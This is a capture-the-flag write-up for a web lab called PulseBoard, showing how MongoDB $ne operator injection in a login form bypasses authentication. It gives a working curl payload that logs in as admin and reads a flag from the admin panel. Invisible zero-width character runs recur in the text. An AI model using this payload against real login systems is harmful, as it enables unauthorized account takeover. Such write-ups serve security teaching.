Lab 326 — PulseBoard — NoSQL Injection in Authentication

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: mongodb_query_operator_injection, nosql_injection_ne_operator

Summary

Walkthrough of the CUSTOM Web Lab 326 — PulseBoard — NoSQL Injection in Authentication. Task: Team analytics dashboard with login form vulnerable to NoSQL injection. Solution: Used MongoDB $ne operator injection (username[$ne]=user&password[$ne]=xxx) to bypass authentication and login as

Description

PulseBoard is a team analytics and productivity dashboard used by engineering teams to track project velocity, developer contributions, and sprint health. The platform features team management, project dashboards, notification settings, and an admin panel for workspace configuration.

Your goal is to gain unauthorized access and find the hidden flag stored somewhere in the admin configuration.

Credentials provided: user / password123 Hint: The login form accepts both username and password. Pay attention to how the application processes different input types — not just strings. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: PulseBoard is a team analytics dashboard. The goal is to bypass authentication using NoSQL injection to access the admin panel and retrieve the flag.

Analysis

1. Server fingerprinting:

   • X-Powered-By: Express header reveals Node.js/Express backend
   • Combined with the hint about "different input types", suggests MongoDB backend

2. Application mapping:

   • Login form at /login with POST to same endpoint
   • Dashboard at /dashboard (requires authentication)
   • Admin panel at /admin (requires admin role) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Decoy detection:

   • HTML source contains hidden comment with decoy flag: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
   • This is a trap for automated scanners — not the real flag

4. Initial access with provided credentials:

   • Logged in with user/password123
   • User displayed as "Test User" with role "member"
   • Accessing /admin returns "Access Denied" — admin role required

5. Vulnerability identification:

   • Express body parser accepts nested objects — username[$ne]=value is parsed as {username: {$ne: "value"}}
   • MongoDB query operators are passed directly to the database without sanitization
   • The $ne operator can bypass authentication by matching any document where the field is NOT equal to the specified value ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Used the $ne (not equal) operator to bypass authentication and login as admin:

 bash read-only • copy allowed Copy
curl -X POST "https://8f6c9b76-4612-4fa4-858c-d8aa2cce0748.labs.hackadvisor.io/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'username[$ne]=user&password[$ne]=xxx' \
  -c cookies.txt -L

This creates the MongoDB query:

 javascript read-only • copy allowed Copy
db.users.find({
  username: { $ne: "user" },
  password: { $ne: "xxx" }
})

The query matches any user whose:

• Username is NOT "user" (excludes the test user)
• Password is NOT "xxx" (matches any real password) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: Returns the admin user "Sarah Chen" and establishes an admin session.

With admin session cookies, accessed the admin panel:

 bash read-only • copy allowed Copy
curl -b cookies.txt "https://8f6c9b76-4612-4fa4-858c-d8aa2cce0748.labs.hackadvisor.io/admin"

Flag found in the "API Keys & Integrations" section under "Workspace API Secret Key". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering mongodb_query_operator_injection, nosql_injection_ne_operator was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 326 — PulseBoard — NoSQL Injection in Authentication • Difficulty: Easy